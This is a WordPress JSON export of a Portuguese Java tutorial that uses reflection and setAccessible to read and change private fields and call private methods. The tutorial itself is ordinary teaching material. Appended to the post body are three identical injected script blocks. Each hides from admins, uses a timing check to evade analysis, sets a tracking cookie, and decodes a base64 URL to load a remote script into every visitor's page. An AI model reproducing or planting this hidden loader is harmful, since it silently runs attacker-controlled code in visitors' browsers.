{"id":1245,"date":"2011-03-31T15:33:15","date_gmt":"2011-03-31T18:33:15","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=1245"},"modified":"2025-10-26T22:40:59","modified_gmt":"2025-10-27T01:40:59","slug":"violando-o-encapsulamento","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2011\/03\/31\/violando-o-encapsulamento\/","title":{"rendered":"Violando o encapsulamento"},"content":{"rendered":"<p style=\"text-align: justify;\">O encapsulamento de c\u00f3digo possui v\u00e1rias caracter\u00edsticas interessantes para o desenvolvimento de c\u00f3digo, como proibir o acesso direto aos atributos da classe evitando assim a atribui\u00e7\u00e3o de valores inv\u00e1lidos, permitir verifica\u00e7\u00f5es e modifica\u00e7\u00f5es atrav\u00e9s de m\u00e9todos acessores e modificadores, diminuir o acoplamento, entre outras. Por exemplo um objeto <em>Endereco<\/em> n\u00e3o pode ter o atributo <em>numeroRua<\/em> menor ou igual a zero, por isso, podemos colocar essa verifica\u00e7\u00e3o em um m\u00e9todo modificador, n\u00e3o permitindo valores inv\u00e1lidos. Contudo, em alguns casos o acesso \u00e0 atributos e m\u00e9todos privados se faz necess\u00e1rio. Por exemplo, quando achamos um bug em uma biblioteca de terceiros e n\u00e3o temos o c\u00f3digo para modificar. Se via depura\u00e7\u00e3o de c\u00f3digo identificamos que precisamos acessar um m\u00e9todo ou modificar um atributo privado para realizar um workaround, \u00e9 necess\u00e1rio acessar esses atributos. Ou, em outro caso, precisamos saber todos os atributos que s\u00e3o serializ\u00e1veis de uma determinada classe, incluindo os atributos privados.<\/p>\n<p style=\"text-align: justify;\">Por esses motivos, existe uma maneira de violar o encapsulamento. Aten\u00e7\u00e3o: GAMBIARRA WARNING! :D. Utilize somente esse recurso, caso seja realmente necess\u00e1rio, pois por permitir acesso \u00e0 atributos e m\u00e9todos privados, temos acesso \u00e0 coisas proibidas e que n\u00e3o deveriam ser acessadas.<\/p>\n<p style=\"text-align: justify;\">Para demonstrar essa funcionalidade, utilizaremos a seguinte classe:<\/p>\n<pre class=\"brush: java; highlight: [4,5,6,7,15,31,36]; title: ; notranslate\" title=\"\">\nimport java.util.UUID;\n\npublic class Produto {\n\tprivate String idInterno;\n\tprivate int sku;\n\tprivate String nome;\n\tprivate double valor;\n\n\tpublic int getSku() {\n\t\treturn sku;\n\t}\n\n\tpublic void setSku(int sku) {\n\t\tthis.sku = sku;\n\t\tthis.idInterno = generateIdInterno(sku);\n\t}\n\n\tpublic String getNome() {\n\t\treturn nome;\n\t}\n\n\tpublic void setNome(String nome) {\n\t\tthis.nome = nome;\n\t}\n\n\tpublic double getValor() {\n\t\treturn valor;\n\t}\n\n\tpublic void setValor(double valor) {\n\t\tif (valor &gt; 0) {\n\t\t\tthis.valor = valor;\n\t\t}\n\t}\n\n\tprivate String generateIdInterno(int sku) {\n\t\treturn UUID.randomUUID() + &quot;-&quot; + sku;\n\t}\n\n\tpublic String getIdInterno() {\n\t\treturn idInterno;\n\t}\n\n\t@Override\n\tpublic String toString() {\n\t\treturn &quot;Produto &#x5B;idInterno=&quot; + idInterno + &quot;, sku=&quot; + sku + &quot;, nome=&quot;\n\t\t\t\t+ nome + &quot;, valor=&quot; + valor + &quot;]&quot;;\n\t}\n\n}\n<\/pre>\n<p style=\"text-align: justify;\">Verifque na linha 31 que o valor s\u00f3 pode ser um double positivo e diferente de zero,\u00a0 pois o atributo \u00e9 privado (linha 07) e s\u00f3 \u00e9 modificado atrav\u00e9s do setter (linha 30). Verifique tamb\u00e9m que o m\u00e9todo <em>generateIdInterno<\/em> (linha 36) \u00e9 privado e somente a pr\u00f3pria classe tem acesso (linha 15). Para termos acesso a esses membros privados, criei uma classe utilit\u00e1ria que facilita o trabalho com reflection do Java.<\/p>\n<pre class=\"brush: java; highlight: [48,66,92]; title: ; notranslate\" title=\"\">\nimport java.lang.reflect.Field;\nimport java.lang.reflect.Method;\n\npublic class ReflectionUtil {\n\tprivate Object object;\n\n\tpublic ReflectionUtil(Object obj) {\n\t\tthis.object = obj;\n\t}\n\n\tpublic Field&#x5B;] getAllFields() {\n\t\treturn this.object.getClass().getDeclaredFields();\n\t}\n\n\tpublic Method&#x5B;] getAllMethods() {\n\t\treturn this.object.getClass().getDeclaredMethods();\n\t}\n\n\tprivate Field getFieldByName(String fieldName) {\n\t\tField field = null;\n\t\ttry {\n\t\t\tfield = this.object.getClass().getDeclaredField(fieldName);\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn field;\n\t}\n\n\tprivate Method getMethodByName(String methodName,\n\t\t\tClass&lt;?&gt;... parameterTypes) {\n\t\tMethod method = null;\n\t\ttry {\n\t\t\tmethod = this.object.getClass().getDeclaredMethod(methodName, parameterTypes);\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn method;\n\t}\n\n\tpublic Object getValue(String fieldName) {\n\t\treturn getValue(getFieldByName(fieldName));\n\t}\n\n\tpublic Object getValue(Field field) {\n\t\ttry {\n\t\t\tif (field != null &amp;&amp; this.object != null) {\n\t\t\t\tif (!field.isAccessible()) {\n\t\t\t\t\tfield.setAccessible(true);\n\t\t\t\t}\n\t\t\t\treturn field.get(this.object);\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn null;\n\t}\n\n\tpublic void setValue(String fieldName, Object value) {\n\t\tsetValue(getFieldByName(fieldName), value);\n\t}\n\n\tpublic void setValue(Field field, Object value) {\n\t\ttry {\n\t\t\tif (field != null &amp;&amp; this.object != null) {\n\t\t\t\tif (!field.isAccessible()) {\n\t\t\t\t\tfield.setAccessible(true);\n\t\t\t\t}\n\t\t\t\tfield.set(this.object, value);\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\n\t}\n\n\tpublic Object invokeMethodByName(String methodName,\n\t\t\tObject... params) {\n\t\tint paramsSize = params.length;\n\t\tClass&lt;?&gt;&#x5B;] paramsTypes = new Class&lt;?&gt;&#x5B;paramsSize];\n\t\tfor (int idx = 0; idx &lt; paramsSize; idx++) {\n\t\t\tparamsTypes&#x5B;idx] = params&#x5B;idx].getClass();\n\t\t}\n\t\treturn invokeMethod(\n\t\t\t\tgetMethodByName(methodName, paramsTypes),\n\t\t\t\tparams);\n\t}\n\n\tpublic Object invokeMethod(Method method, Object... params) {\n\t\ttry {\n\t\t\tif (method != null &amp;&amp; this.object != null) {\n\t\t\t\tif (!method.isAccessible()) {\n\t\t\t\t\tmethod.setAccessible(true);\n\t\t\t\t}\n\t\t\t\treturn method.invoke(this.object, params);\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn null;\n\t}\n}\n<\/pre>\n<p style=\"text-align: justify;\">O segredo de permitir acesso aos metodos privados \u00e9 chamar o m\u00e9todo <em>setAccessible<\/em> com o valor true para m\u00e9todos ou atributos. Dessa forma o JRE ignora a verifica\u00e7\u00e3o de acesso e podemos acessar m\u00e9todos private, default e protected que n\u00e3o eram acessados \u00e0 partir de outras classes.<\/p>\n<p style=\"text-align: justify;\">Nesse utilit\u00e1rio, o m\u00e9todo <em>getValue<\/em> retorna um objeto com o valor de um determinado atributo, independente do modificador de acesso, se o valor for do tipo primitivo ele vai retornar o seu wrapper correspondente. O m\u00e9todo <em>setValue<\/em>, atribui um valor para um atributo, se o valor passado for o wrapper e o campo for primitivo, o valor \u00e9 convertido automaticamente. O m\u00e9todo <em>invokeMethod<\/em> chama um m\u00e9todo, tamb\u00e9m independente do modificador de acesso passando os devidos parametros. Pode-se utilizar os m\u00e9todos <em>getAllFields<\/em> e <em>getAllMethods<\/em> para listar os atributos e m\u00e9todos respectivamente. Uma melhoria nessa classe seria lan\u00e7ar o erro ocorrido, mas para a finalidade que pretendo utilizar, o tratamento dentro do m\u00e9todo j\u00e1 \u00e9 suficiente.<\/p>\n<p style=\"text-align: justify;\">Para validar o funcionamento, vamos atribuir um produto um valor negativo e invocar o m\u00e9todo privado <em>generateIdInterno<\/em>, o que n\u00e3o seria poss\u00edvel utilizando o c\u00f3digo da maneira convencional.<\/p>\n<pre class=\"brush: java; highlight: [11,15,18,24]; title: ; notranslate\" title=\"\">\nimport java.lang.reflect.Method;\n\npublic class PrivateAccessTest {\n\n\tpublic static void main(String&#x5B;] args) {\n\t\tProduto p = new Produto();\n\t\tp.setNome(&quot;ABCD&quot;);\n\t\tp.setSku(1234);\n\t\tp.setValor(100.0);\n\t\tSystem.out.println(p);\n\t\tp.setValor(-50.0);\n\t\tSystem.out.println(&quot;Altera\u00e7\u00e3o para valor negativo n\u00e3o permitida: &quot; + p);\n\n\t\tReflectionUtil ru = new ReflectionUtil(p);\n\t\tru.setValue(&quot;valor&quot;, -50);\n\t\tSystem.out.println(&quot;Altera\u00e7\u00e3o via reflex\u00e3o: &quot; + p);\n\t\tSystem.out.println(&quot;Recupera\u00e7\u00e3o de atributo privado: &quot;\n\t\t\t\t+ ru.getValue(&quot;idInterno&quot;));\n\t\t\n\t\tMethod&#x5B;] methods = ru.getAllMethods();\n\t\tfor(Method m: methods) {\n\t\t\tif(&quot;generateIdInterno&quot;.equals(m.getName())) {\n\t\t\t\tSystem.out.println(&quot;Invoca\u00e7\u00e3o de m\u00e9todo privado: &quot;\n\t\t\t\t\t\t+ ru.invokeMethod(m, 888));\n\t\t\t}\n\t\t}\n\n\t}\n\n}\n<\/pre>\n<p style=\"text-align: justify;\">Na linha 11 tentamos alterar o valor do produto para um valor negativo, o setter correspondente n\u00e3o vai permitir, mantendo o valor do produto igual anteriormente. Se invocarmos com reflex\u00e3o (linha 15), o atributo \u00e9 acessado diretamente, sem passar pelo m\u00e9todo e o valor na classe \u00e9 alterado. Na linha 18 recuperamos um valor de um atributo privado e na linha 24 invocamos um m\u00e9todo privado.<\/p>\n<p style=\"text-align: justify;\">A sa\u00edda desse c\u00f3digo \u00e9 a seguinte:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\nProduto &#x5B;idInterno=14e77645-506c-46b1-94fa-d0c1f7bc6b32-1234, sku=1234, nome=ABCD, valor=100.0]\nAltera\u00e7\u00e3o para valor negativo n\u00e3o permitida: Produto &#x5B;idInterno=14e77645-506c-46b1-94fa-d0c1f7bc6b32-1234, sku=1234, nome=ABCD, valor=100.0]\nAltera\u00e7\u00e3o via reflex\u00e3o: Produto &#x5B;idInterno=14e77645-506c-46b1-94fa-d0c1f7bc6b32-1234, sku=1234, nome=ABCD, valor=-50.0]\nRecupera\u00e7\u00e3o de atributo privado: 14e77645-506c-46b1-94fa-d0c1f7bc6b32-1234\nInvoca\u00e7\u00e3o de m\u00e9todo privado: 6a4f73f6-e580-461e-b741-c6fe40f20c95-888\n<\/pre>\n<p style=\"text-align: justify;\">Dessa maneira, conseguimos ter acessos \u00e0 m\u00e9todos e atributos privados de maneira simples. Refor\u00e7ando novamente, s\u00f3 use quando necess\u00e1rio!<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>O encapsulamento de c\u00f3digo possui v\u00e1rias caracter\u00edsticas interessantes para o desenvolvimento de c\u00f3digo, como proibir o acesso direto aos atributos da classe evitando assim a atribui\u00e7\u00e3o de valores inv\u00e1lidos, permitir verifica\u00e7\u00f5es e modifica\u00e7\u00f5es atrav\u00e9s de m\u00e9todos acessores e modificadores, diminuir <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2011\/03\/31\/violando-o-encapsulamento\/\">Continue lendo  <span class=\"screen-reader-text\">  Violando o encapsulamento<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3],"tags":[],"class_list":["post-1245","post","type-post","status-publish","format-standard","hentry","category-java"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/1245","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=1245"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/1245\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=1245"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=1245"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=1245"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}